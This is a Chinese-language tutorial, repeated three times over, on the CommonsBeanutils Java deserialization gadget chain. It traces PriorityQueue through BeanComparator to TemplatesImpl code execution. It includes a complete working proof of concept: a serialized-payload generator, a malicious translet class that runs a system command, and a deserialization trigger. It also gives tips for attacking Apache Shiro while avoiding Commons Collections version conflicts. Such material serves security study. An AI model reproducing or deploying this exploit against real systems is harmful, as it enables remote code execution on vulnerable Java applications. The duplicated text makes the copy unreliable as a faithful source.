代码审计 | CB链分析 —— CommonsBeanutils 反序列化利用链
目录
- 环境准备
- CB链的执行终点
- 怎么触发 getOutputProperties()
- 跟源码
- 入口:PriorityQueue
- CB 链 vs CC2 对比
- 构造参数分析
- BeanComparator 构造方法的坑
- add 占位的问题
- POC
- 补充
环境准备
Maven 依赖:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
CB 链本身只需要 commons-beanutils,但 1.9.2 内部依赖了 CC,调试方便起见加上就行。
CB 链本身只需要 commons-beanutils,但 1.9.2 内部依赖了 CC
(用 maven 下载源码才能搜到原代码)
JDK 8u65
CB链的执行终点
CB 链还是用的 TemplatesImpl 加载恶意字节码,这点和之前的 CC 链一样。
之前用的都是 TemplatesImpl.newTransformer() 为起点,然后一路走下去:
TemplatesImpl.getOutputProperties() → getTransletInstance() → 恶意类.newInstance() → Runtime.exec()
CB 链不再利用 TemplatesImpl 的 newTransformer 调用 getOutputProperties 方法,而是换了一种触发方式。
怎么触发 getOutputProperties()
核心在 BeanComparator 类的 compare 方法:
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
PropertyUtils.getProperty(obj, "outputProperties") 内部用反射找到 getOutputProperties() 方法然后调用。
只要 o1 是 TemplatesImpl 对象,property 是 "outputProperties",就能触发。
跟源码
简单跟一下调用链:
compare
getProperty
getProperty(PropertyUtilsBean)
getNestedProperty
getSimpleProperty
invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY) 就是反射调 getter,通过反射调用了 getOutputProperties()。
入口:PriorityQueue
BeanComparator 的 compare 方法签名:
compare( T o1, T o2 )
非常眼熟,正是 CC2 的 PriorityQueue 里面用的那套。
PriorityQueue.readObject() → heapify() → siftDown() → siftDownUsingComparator(),和 CC2 分析的是一样的。
readObject
heapify
siftDown
siftDownUsingComparator
c 和 queue[right] 都需要用到 add → offer 传入。
Object c = queue[child];
int right = child + 1;
add
offer 就是写入数组的方法:
CB 链 vs CC2 对比
回到 BeanComparator 的 compare:
补充对比:
CC2 里的 compare 是 TransformingComparator 的,但 TransformingComparator 是有版本限制的——CC4 版本的 TransformingComparator 才继承了 Serializable 接口,可以被反序列化从而被利用。
TransformingComparator 是通过触发 transform 来触发反射达到目的:
BeanComparator 是通过特殊的处理方式调用 getter,传入 outputProperties 触发 getOutputProperties():
这两个 compare 都能被 PriorityQueue.readObject() 调用,入口是一样的。
构造参数分析
回到核心问题,PropertyUtils.getProperty(o1, property) 需要:
o1传入TemplatesImpl对象property需要是"outputProperties"
这样就能触发 TemplatesImpl 的 getOutputProperties()。
o1、o2 和 CC2 一样,用 add 函数添加就行(不过直接添加在序列化时会被触发,所以后面需要用假的替一下,再反射换值)。
property 是用 BeanComparator 构造方法定义的,直接构造方法传入就行:
new BeanComparator("outputProperties");
注意是小写 o,属性名规则是把 getter 方法 getOutputProperties 去掉 get 然后首字母小写。
BeanComparator 构造方法的坑
BeanComparator 有两个构造方法:
区别就在于第二个参数 comparator,不填的话默认是 ComparableComparator.getInstance()。
BeanComparator 默认构造方法会调用 ComparableComparator.getInstance() 作为第二个参数,而 ComparableComparator 是 CC 包里的类。
本地环境有 CC 3.2.1,序列化反序列化都没问题。但打 Shiro 时,Shiro 自带 CC 4.0,两个版本 ComparableComparator 的 serialVersionUID 不一致,反序列化直接 InvalidClassException,payload 作废。
所以构造时显式传入 JDK 自带的 String.CASE_INSENSITIVE_ORDER:
new BeanComparator("outputProperties", String.CASE_INSENSITIVE_ORDER);
String.CASE_INSENSITIVE_ORDER 是 JDK 自带的 Comparator 实现,不依赖任何第三方包。这样 payload 里完全没有 CC 的类,Shiro 环境下反序列化不会出任何版本冲突问题。
add 占位的问题
先创建一个假链条(property 为 null),然后直接传入:
queue.add(templates);
queue.add(templates);
再替换成真的 outputProperties,
直接运行会报错:
property 是 null 时,BeanComparator.compare() 拿不到属性值,直接把对象本身丢给内部的 ComparableComparator 比较,TemplatesImpl 没实现 Comparable,还是炸。
所以根本原因不是 property 的值,是 add 时传入的对象不能是 TemplatesImpl,换成 1 占位就解决了。
先 queue.add(1); queue.add(1);,然后再反射赋值:
为什么要两个相同元素
PriorityQueue 在 heapify() 时会调用 compare 比较父子节点。两个相同对象(都是 templates)可以确保无论怎么比,都能触发 getOutputProperties()。
Field f = PriorityQueue.class.getDeclaredField("queue");
f.setAccessible(true);
Object[] queueArr = (Object[]) f.get(queue);
queueArr[0] = templates;
queueArr[1] = templates;
queue 字段是个数组,不是普通字段,不能直接 f.set(obj, value) 替换整个数组,只能拿到数组引用之后按下标改元素。
POC
public class CB1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
// 1. 读取恶意字节码(EvilClass.class 需继承 AbstractTranslet)
byte[] bytes = Files.readAllBytes(Paths.get("target\\classes\\org\\example\\EvilClass.class"));
// 2. 构造 TemplatesImpl 对象并设置关键字段
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "pwn");
// 关键:必须设置 _tfactory,否则在高版本 JDK 中会因 null 抛出 NPE
// setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 3. 构造 CB 链核心:BeanComparator
// 设置 property 为触发 TemplatesImpl.getOutputProperties 的属性名
// 打 Shiro 时用这个,避免 CC 版本冲突:
// final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final BeanComparator comparator = new BeanComparator(null);
// 4. 创建 PriorityQueue 并初始化占位数据
// 注意:这里先用整数占位,因为后面需要反射修改
final PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
// 5. 关键步骤:通过反射将 comparator 的 property 设置为 "outputProperties"
setFieldValue(comparator, "property", "outputProperties");
Field f = PriorityQueue.class.getDeclaredField("queue");
f.setAccessible(true);
Object[] queueArr = (Object[]) f.get(queue);
queueArr[0] = templates;
queueArr[1] = templates;
// 6. 将最终构造好的队列序列化到 payload.ser 文件
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"))) {
oos.writeObject(queue);
}
}
}
public class Deserialize {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.ser"));
ois.readObject();
ois.close();
}
}
public class EvilClass extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
setFieldValue 解释
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
getDeclaredField(fieldName)—— 拿到类里的字段,包括 private 的setAccessible(true)—— 去掉 private 限制f.set(obj, value)—— 把 obj 这个对象的这个字段值改成 value
相当于强行绕过 private 修饰符改字段值,之前 CC 链里一直在用这个。
效果
补充
1. _tfactory 字段的必要性
在 JDK 8u121 及之后,TemplatesImpl 的 getTransletInstance() 会检查 _tfactory 是否为 null,若为 null 会抛出 NullPointerException,导致无法实例化恶意类。因此高版本下必须反射设置 _tfactory 为一个 TransformerFactoryImpl 实例:
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
CC2 篇详细讲过。
2. 为什么 EvilClass 必须继承 AbstractTranslet
总结
CB 链整体结构和 CC2 非常像,入口都是 PriorityQueue,执行终点都是 TemplatesImpl,核心区别就是中间那一环换掉了:
| CC2 | CB | |
|---|---|---|
| Comparator | TransformingComparator | BeanComparator |
| 触发方式 | InvokerTransformer.transform() 反射调 newTransformer | PropertyUtils.getProperty() 反射调 getter |
| 执行终点 | TemplatesImpl.newTransformer() | TemplatesImpl.getOutputProperties() |
| CC 依赖 | 需要 CC4 | 不需要 CC(打 Shiro 时无 CC 冲突问题) |
完整链路:
PriorityQueue.readObject()
→ heapify() → siftDown() → siftDownUsingComparator()
→ BeanComparator.compare()
→ PropertyUtils.getProperty(templatesImpl, "outputProperties")
→ TemplatesImpl.getOutputProperties()
→ _getTransletInstance()
→ 恶意类.newInstance()
→ Runtime.exec()
CB 链最大的价值在于打 Shiro,Shiro 自带 commons-beanutils,但 CC 版本对不上,用 CB 链 + String.CASE_INSENSITIVE_ORDER 彻底绕开 CC 依赖,是 Shiro 反序列化的标准打法。
代码审计 | CB链分析 —— CommonsBeanutils 反序列化利用链
目录
- 环境准备
- CB链的执行终点
- 怎么触发 getOutputProperties()
- 跟源码
- 入口:PriorityQueue
- CB 链 vs CC2 对比
- 构造参数分析
- BeanComparator 构造方法的坑
- add 占位的问题
- POC
- 补充
环境准备
Maven 依赖:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
CB 链本身只需要 commons-beanutils,但 1.9.2 内部依赖了 CC,调试方便起见加上就行。
CB 链本身只需要 commons-beanutils,但 1.9.2 内部依赖了 CC
(用 maven 下载源码才能搜到原代码)
JDK 8u65
CB链的执行终点
CB 链还是用的 TemplatesImpl 加载恶意字节码,这点和之前的 CC 链一样。
之前用的都是 TemplatesImpl.newTransformer() 为起点,然后一路走下去:
TemplatesImpl.getOutputProperties() → getTransletInstance() → 恶意类.newInstance() → Runtime.exec()
CB 链不再利用 TemplatesImpl 的 newTransformer 调用 getOutputProperties 方法,而是换了一种触发方式。
怎么触发 getOutputProperties()
核心在 BeanComparator 类的 compare 方法:
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
PropertyUtils.getProperty(obj, "outputProperties") 内部用反射找到 getOutputProperties() 方法然后调用。
只要 o1 是 TemplatesImpl 对象,property 是 "outputProperties",就能触发。
跟源码
简单跟一下调用链:
compare
getProperty
getProperty(PropertyUtilsBean)
getNestedProperty
getSimpleProperty
invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY) 就是反射调 getter,通过反射调用了 getOutputProperties()。
入口:PriorityQueue
BeanComparator 的 compare 方法签名:
compare( T o1, T o2 )
非常眼熟,正是 CC2 的 PriorityQueue 里面用的那套。
PriorityQueue.readObject() → heapify() → siftDown() → siftDownUsingComparator(),和 CC2 分析的是一样的。
readObject
heapify
siftDown
siftDownUsingComparator
c 和 queue[right] 都需要用到 add → offer 传入。
Object c = queue[child];
int right = child + 1;
add
offer 就是写入数组的方法:
CB 链 vs CC2 对比
回到 BeanComparator 的 compare:
补充对比:
CC2 里的 compare 是 TransformingComparator 的,但 TransformingComparator 是有版本限制的——CC4 版本的 TransformingComparator 才继承了 Serializable 接口,可以被反序列化从而被利用。
TransformingComparator 是通过触发 transform 来触发反射达到目的:
BeanComparator 是通过特殊的处理方式调用 getter,传入 outputProperties 触发 getOutputProperties():
这两个 compare 都能被 PriorityQueue.readObject() 调用,入口是一样的。
构造参数分析
回到核心问题,PropertyUtils.getProperty(o1, property) 需要:
o1传入TemplatesImpl对象property需要是"outputProperties"
这样就能触发 TemplatesImpl 的 getOutputProperties()。
o1、o2 和 CC2 一样,用 add 函数添加就行(不过直接添加在序列化时会被触发,所以后面需要用假的替一下,再反射换值)。
property 是用 BeanComparator 构造方法定义的,直接构造方法传入就行:
new BeanComparator("outputProperties");
注意是小写 o,属性名规则是把 getter 方法 getOutputProperties 去掉 get 然后首字母小写。
BeanComparator 构造方法的坑
BeanComparator 有两个构造方法:
区别就在于第二个参数 comparator,不填的话默认是 ComparableComparator.getInstance()。
BeanComparator 默认构造方法会调用 ComparableComparator.getInstance() 作为第二个参数,而 ComparableComparator 是 CC 包里的类。
本地环境有 CC 3.2.1,序列化反序列化都没问题。但打 Shiro 时,Shiro 自带 CC 4.0,两个版本 ComparableComparator 的 serialVersionUID 不一致,反序列化直接 InvalidClassException,payload 作废。
所以构造时显式传入 JDK 自带的 String.CASE_INSENSITIVE_ORDER:
new BeanComparator("outputProperties", String.CASE_INSENSITIVE_ORDER);
String.CASE_INSENSITIVE_ORDER 是 JDK 自带的 Comparator 实现,不依赖任何第三方包。这样 payload 里完全没有 CC 的类,Shiro 环境下反序列化不会出任何版本冲突问题。
add 占位的问题
先创建一个假链条(property 为 null),然后直接传入:
queue.add(templates);
queue.add(templates);
再替换成真的 outputProperties,
直接运行会报错:
property 是 null 时,BeanComparator.compare() 拿不到属性值,直接把对象本身丢给内部的 ComparableComparator 比较,TemplatesImpl 没实现 Comparable,还是炸。
所以根本原因不是 property 的值,是 add 时传入的对象不能是 TemplatesImpl,换成 1 占位就解决了。
先 queue.add(1); queue.add(1);,然后再反射赋值:
为什么要两个相同元素
PriorityQueue 在 heapify() 时会调用 compare 比较父子节点。两个相同对象(都是 templates)可以确保无论怎么比,都能触发 getOutputProperties()。
Field f = PriorityQueue.class.getDeclaredField("queue");
f.setAccessible(true);
Object[] queueArr = (Object[]) f.get(queue);
queueArr[0] = templates;
queueArr[1] = templates;
queue 字段是个数组,不是普通字段,不能直接 f.set(obj, value) 替换整个数组,只能拿到数组引用之后按下标改元素。
POC
public class CB1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
// 1. 读取恶意字节码(EvilClass.class 需继承 AbstractTranslet)
byte[] bytes = Files.readAllBytes(Paths.get("target\\classes\\org\\example\\EvilClass.class"));
// 2. 构造 TemplatesImpl 对象并设置关键字段
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "pwn");
// 关键:必须设置 _tfactory,否则在高版本 JDK 中会因 null 抛出 NPE
// setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 3. 构造 CB 链核心:BeanComparator
// 设置 property 为触发 TemplatesImpl.getOutputProperties 的属性名
// 打 Shiro 时用这个,避免 CC 版本冲突:
// final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final BeanComparator comparator = new BeanComparator(null);
// 4. 创建 PriorityQueue 并初始化占位数据
// 注意:这里先用整数占位,因为后面需要反射修改
final PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
// 5. 关键步骤:通过反射将 comparator 的 property 设置为 "outputProperties"
setFieldValue(comparator, "property", "outputProperties");
Field f = PriorityQueue.class.getDeclaredField("queue");
f.setAccessible(true);
Object[] queueArr = (Object[]) f.get(queue);
queueArr[0] = templates;
queueArr[1] = templates;
// 6. 将最终构造好的队列序列化到 payload.ser 文件
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"))) {
oos.writeObject(queue);
}
}
}
public class Deserialize {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.ser"));
ois.readObject();
ois.close();
}
}
public class EvilClass extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
setFieldValue 解释
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
getDeclaredField(fieldName)—— 拿到类里的字段,包括 private 的setAccessible(true)—— 去掉 private 限制f.set(obj, value)—— 把 obj 这个对象的这个字段值改成 value
相当于强行绕过 private 修饰符改字段值,之前 CC 链里一直在用这个。
效果
补充
1. _tfactory 字段的必要性
在 JDK 8u121 及之后,TemplatesImpl 的 getTransletInstance() 会检查 _tfactory 是否为 null,若为 null 会抛出 NullPointerException,导致无法实例化恶意类。因此高版本下必须反射设置 _tfactory 为一个 TransformerFactoryImpl 实例:
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
CC2 篇详细讲过。
2. 为什么 EvilClass 必须继承 AbstractTranslet
总结
CB 链整体结构和 CC2 非常像,入口都是 PriorityQueue,执行终点都是 TemplatesImpl,核心区别就是中间那一环换掉了:
| CC2 | CB | |
|---|---|---|
| Comparator | TransformingComparator | BeanComparator |
| 触发方式 | InvokerTransformer.transform() 反射调 newTransformer | PropertyUtils.getProperty() 反射调 getter |
| 执行终点 | TemplatesImpl.newTransformer() | TemplatesImpl.getOutputProperties() |
| CC 依赖 | 需要 CC4 | 不需要 CC(打 Shiro 时无 CC 冲突问题) |
完整链路:
PriorityQueue.readObject()
→ heapify() → siftDown() → siftDownUsingComparator()
→ BeanComparator.compare()
→ PropertyUtils.getProperty(templatesImpl, "outputProperties")
→ TemplatesImpl.getOutputProperties()
→ _getTransletInstance()
→ 恶意类.newInstance()
→ Runtime.exec()
CB 链最大的价值在于打 Shiro,Shiro 自带 commons-beanutils,但 CC 版本对不上,用 CB 链 + String.CASE_INSENSITIVE_ORDER 彻底绕开 CC 依赖,是 Shiro 反序列化的标准打法。
代码审计 | CB链分析 —— CommonsBeanutils 反序列化利用链
目录
- 环境准备
- CB链的执行终点
- 怎么触发 getOutputProperties()
- 跟源码
- 入口:PriorityQueue
- CB 链 vs CC2 对比
- 构造参数分析
- BeanComparator 构造方法的坑
- add 占位的问题
- POC
- 补充
环境准备
Maven 依赖:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
CB 链本身只需要 commons-beanutils,但 1.9.2 内部依赖了 CC,调试方便起见加上就行。
CB 链本身只需要 commons-beanutils,但 1.9.2 内部依赖了 CC
(用 maven 下载源码才能搜到原代码)
JDK 8u65
CB链的执行终点
CB 链还是用的 TemplatesImpl 加载恶意字节码,这点和之前的 CC 链一样。
之前用的都是 TemplatesImpl.newTransformer() 为起点,然后一路走下去:
TemplatesImpl.getOutputProperties() → getTransletInstance() → 恶意类.newInstance() → Runtime.exec()
CB 链不再利用 TemplatesImpl 的 newTransformer 调用 getOutputProperties 方法,而是换了一种触发方式。
怎么触发 getOutputProperties()
核心在 BeanComparator 类的 compare 方法:
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
PropertyUtils.getProperty(obj, "outputProperties") 内部用反射找到 getOutputProperties() 方法然后调用。
只要 o1 是 TemplatesImpl 对象,property 是 "outputProperties",就能触发。
跟源码
简单跟一下调用链:
compare
getProperty
getProperty(PropertyUtilsBean)
getNestedProperty
getSimpleProperty
invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY) 就是反射调 getter,通过反射调用了 getOutputProperties()。
入口:PriorityQueue
BeanComparator 的 compare 方法签名:
compare( T o1, T o2 )
非常眼熟,正是 CC2 的 PriorityQueue 里面用的那套。
PriorityQueue.readObject() → heapify() → siftDown() → siftDownUsingComparator(),和 CC2 分析的是一样的。
readObject
heapify
siftDown
siftDownUsingComparator
c 和 queue[right] 都需要用到 add → offer 传入。
Object c = queue[child];
int right = child + 1;
add
offer 就是写入数组的方法:
CB 链 vs CC2 对比
回到 BeanComparator 的 compare:
补充对比:
CC2 里的 compare 是 TransformingComparator 的,但 TransformingComparator 是有版本限制的——CC4 版本的 TransformingComparator 才继承了 Serializable 接口,可以被反序列化从而被利用。
TransformingComparator 是通过触发 transform 来触发反射达到目的:
BeanComparator 是通过特殊的处理方式调用 getter,传入 outputProperties 触发 getOutputProperties():
这两个 compare 都能被 PriorityQueue.readObject() 调用,入口是一样的。
构造参数分析
回到核心问题,PropertyUtils.getProperty(o1, property) 需要:
o1传入TemplatesImpl对象property需要是"outputProperties"
这样就能触发 TemplatesImpl 的 getOutputProperties()。
o1、o2 和 CC2 一样,用 add 函数添加就行(不过直接添加在序列化时会被触发,所以后面需要用假的替一下,再反射换值)。
property 是用 BeanComparator 构造方法定义的,直接构造方法传入就行:
new BeanComparator("outputProperties");
注意是小写 o,属性名规则是把 getter 方法 getOutputProperties 去掉 get 然后首字母小写。
BeanComparator 构造方法的坑
BeanComparator 有两个构造方法:
区别就在于第二个参数 comparator,不填的话默认是 ComparableComparator.getInstance()。
BeanComparator 默认构造方法会调用 ComparableComparator.getInstance() 作为第二个参数,而 ComparableComparator 是 CC 包里的类。
本地环境有 CC 3.2.1,序列化反序列化都没问题。但打 Shiro 时,Shiro 自带 CC 4.0,两个版本 ComparableComparator 的 serialVersionUID 不一致,反序列化直接 InvalidClassException,payload 作废。
所以构造时显式传入 JDK 自带的 String.CASE_INSENSITIVE_ORDER:
new BeanComparator("outputProperties", String.CASE_INSENSITIVE_ORDER);
String.CASE_INSENSITIVE_ORDER 是 JDK 自带的 Comparator 实现,不依赖任何第三方包。这样 payload 里完全没有 CC 的类,Shiro 环境下反序列化不会出任何版本冲突问题。
add 占位的问题
先创建一个假链条(property 为 null),然后直接传入:
queue.add(templates);
queue.add(templates);
再替换成真的 outputProperties,
直接运行会报错:
property 是 null 时,BeanComparator.compare() 拿不到属性值,直接把对象本身丢给内部的 ComparableComparator 比较,TemplatesImpl 没实现 Comparable,还是炸。
所以根本原因不是 property 的值,是 add 时传入的对象不能是 TemplatesImpl,换成 1 占位就解决了。
先 queue.add(1); queue.add(1);,然后再反射赋值:
为什么要两个相同元素
PriorityQueue 在 heapify() 时会调用 compare 比较父子节点。两个相同对象(都是 templates)可以确保无论怎么比,都能触发 getOutputProperties()。
Field f = PriorityQueue.class.getDeclaredField("queue");
f.setAccessible(true);
Object[] queueArr = (Object[]) f.get(queue);
queueArr[0] = templates;
queueArr[1] = templates;
queue 字段是个数组,不是普通字段,不能直接 f.set(obj, value) 替换整个数组,只能拿到数组引用之后按下标改元素。
POC
public class CB1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
// 1. 读取恶意字节码(EvilClass.class 需继承 AbstractTranslet)
byte[] bytes = Files.readAllBytes(Paths.get("target\\classes\\org\\example\\EvilClass.class"));
// 2. 构造 TemplatesImpl 对象并设置关键字段
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "pwn");
// 关键:必须设置 _tfactory,否则在高版本 JDK 中会因 null 抛出 NPE
// setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 3. 构造 CB 链核心:BeanComparator
// 设置 property 为触发 TemplatesImpl.getOutputProperties 的属性名
// 打 Shiro 时用这个,避免 CC 版本冲突:
// final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final BeanComparator comparator = new BeanComparator(null);
// 4. 创建 PriorityQueue 并初始化占位数据
// 注意:这里先用整数占位,因为后面需要反射修改
final PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
// 5. 关键步骤:通过反射将 comparator 的 property 设置为 "outputProperties"
setFieldValue(comparator, "property", "outputProperties");
Field f = PriorityQueue.class.getDeclaredField("queue");
f.setAccessible(true);
Object[] queueArr = (Object[]) f.get(queue);
queueArr[0] = templates;
queueArr[1] = templates;
// 6. 将最终构造好的队列序列化到 payload.ser 文件
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"))) {
oos.writeObject(queue);
}
}
}
public class Deserialize {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.ser"));
ois.readObject();
ois.close();
}
}
public class EvilClass extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
setFieldValue 解释
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
getDeclaredField(fieldName)—— 拿到类里的字段,包括 private 的setAccessible(true)—— 去掉 private 限制f.set(obj, value)—— 把 obj 这个对象的这个字段值改成 value
相当于强行绕过 private 修饰符改字段值,之前 CC 链里一直在用这个。
效果
补充
1. _tfactory 字段的必要性
在 JDK 8u121 及之后,TemplatesImpl 的 getTransletInstance() 会检查 _tfactory 是否为 null,若为 null 会抛出 NullPointerException,导致无法实例化恶意类。因此高版本下必须反射设置 _tfactory 为一个 TransformerFactoryImpl 实例:
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
CC2 篇详细讲过。
2. 为什么 EvilClass 必须继承 AbstractTranslet
总结
CB 链整体结构和 CC2 非常像,入口都是 PriorityQueue,执行终点都是 TemplatesImpl,核心区别就是中间那一环换掉了:
| CC2 | CB | |
|---|---|---|
| Comparator | TransformingComparator | BeanComparator |
| 触发方式 | InvokerTransformer.transform() 反射调 newTransformer | PropertyUtils.getProperty() 反射调 getter |
| 执行终点 | TemplatesImpl.newTransformer() | TemplatesImpl.getOutputProperties() |
| CC 依赖 | 需要 CC4 | 不需要 CC(打 Shiro 时无 CC 冲突问题) |
完整链路:
PriorityQueue.readObject()
→ heapify() → siftDown() → siftDownUsingComparator()
→ BeanComparator.compare()
→ PropertyUtils.getProperty(templatesImpl, "outputProperties")
→ TemplatesImpl.getOutputProperties()
→ _getTransletInstance()
→ 恶意类.newInstance()
→ Runtime.exec()
CB 链最大的价值在于打 Shiro,Shiro 自带 commons-beanutils,但 CC 版本对不上,用 CB 链 + String.CASE_INSENSITIVE_ORDER 彻底绕开 CC 依赖,是 Shiro 反序列化的标准打法。